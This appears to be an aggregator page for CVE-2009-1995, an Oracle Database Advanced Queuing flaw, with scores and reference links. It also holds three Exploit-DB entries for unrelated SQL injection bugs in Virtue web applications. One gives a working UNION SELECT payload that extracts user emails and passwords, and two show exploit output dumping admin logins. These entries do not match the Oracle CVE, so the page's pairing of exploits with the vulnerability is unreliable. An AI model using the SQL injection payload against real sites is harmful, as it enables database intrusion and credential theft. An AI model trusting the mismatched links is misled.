CVE-2009-1995
published 2009-10-22CVE-2009-1995: Unspecified vulnerability in the Advanced Queuing component in Oracle Database 10.2.0.4 and 11.1.0.7 allows remote authenticated users to affect…
PriorityP424medium4.9CVSS 2.0
AVNACMAuSCPIPAN
EPSS
1.83%
76.6th percentile
Unspecified vulnerability in the Advanced Queuing component in Oracle Database 10.2.0.4 and 11.1.0.7 allows remote authenticated users to affect confidentiality and integrity, related to SYS.DBMS_AQ_INV.
Affected
2 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| oracle | database_server | — | — |
| oracle | database_server | — | — |
Stop checking back — get the weekly exploitation signal.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
No detection rules found.
Exploit-DB
Virtue Book Store - 'cid' SQL Injection
exploitdb·2009-06-08
CVE-2009-2017 Virtue Book Store - 'cid' SQL Injection
Virtue Book Store - 'cid' SQL Injection
---
CMS : Online Book Store
WEB : http://www.virtuenetz.com/book/
Archivo : products.php
Variable Tipo : GET
valor : cid
Tipo : SQL Injection
URL : http://www.site.com/products.php?cid=[SQLI]
Exploit :
Ejemplo :
undersec@Undersec:~/Escritorio$ php exploit.php http://www.virtuenetz.com/book/
ID :1
Usuario : admin
Password : admin
Gretz :
C1c4tr1z(voodoo-labs.org),Nobody,1995,Lix (arrivalsec.wordpress.com),NanoNRoses,Codebreak(?),Nork And All Friends of Undersecurity.net.
100% CHILE
WWW.UNDERSECURITY.NET
# milw0rm.com [2009-06-08]
Exploit-DB
Virtue Classifieds - 'category' SQL Injection
exploitdb·2009-06-08
CVE-2009-2021 Virtue Classifieds - 'category' SQL Injection
Virtue Classifieds - 'category' SQL Injection
---
#################################################################################################################################################
CMS : Virtue Classifieds
WEB : http://www.virtuenetz.com/classified/
Archivo : search.php
Variable Tipo : GET
Valor : category
Tipo : SQL Injection
Url : http:/www.site.com/search.php?category=[SQLI]
PoC:
http:/www.site.com/search.php?category=2+and+1=0+union+select+all+1,2,concat_ws(0x3A,email,pass),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25+from+users--
Gretz :
C1c4tr1z(voodoo-labs.org),Nobody,1995,Lix (arrivalsec.wordpress.com),NanoNRoses,Codebreak(?),Nork And All Friends of Undersecurity.net.
100% CHILE
WWW.UNDERSECURITY.NET
############################################
Exploit-DB
Virtue Shopping Mall - 'cid' SQL Injection
exploitdb·2009-06-08
CVE-2009-2016 Virtue Shopping Mall - 'cid' SQL Injection
Virtue Shopping Mall - 'cid' SQL Injection
---
CMS : Virtue Shopping Mall
WEB : http://www.virtuenetz.com/mall/
Archivo : products.php
Variable Tipo : GET
valor : cid
Tipo : SQL Injection
URL : http://www.site.com/products.php?cid=[SQLI]
Exploit :
undersec@Undersec:~/Escritorio$ php exploit.php http://www.virtuenetz.com/mall/
ID :1
Usuario : admin
Password : admin
Gretz :
C1c4tr1z(voodoo-labs.org),Nobody,1995,Lix (arrivalsec.wordpress.com),NanoNRoses,Codebreak(?),Nork And All Friends of Undersecurity.net.
100% CHILE
WWW.UNDERSECURITY.NET
# milw0rm.com [2009-06-08]
No writeups or analysis indexed.
http://osvdb.org/59109http://secunia.com/advisories/37027http://www.oracle.com/technetwork/topics/security/cpuoct2009-096303.htmlhttp://www.securityfocus.com/bid/36752http://www.securitytracker.com/id?1023057http://www.us-cert.gov/cas/techalerts/TA09-294A.htmlhttp://osvdb.org/59109http://secunia.com/advisories/37027http://www.oracle.com/technetwork/topics/security/cpuoct2009-096303.htmlhttp://www.securityfocus.com/bid/36752http://www.securitytracker.com/id?1023057http://www.us-cert.gov/cas/techalerts/TA09-294A.html
2009-10-22
Published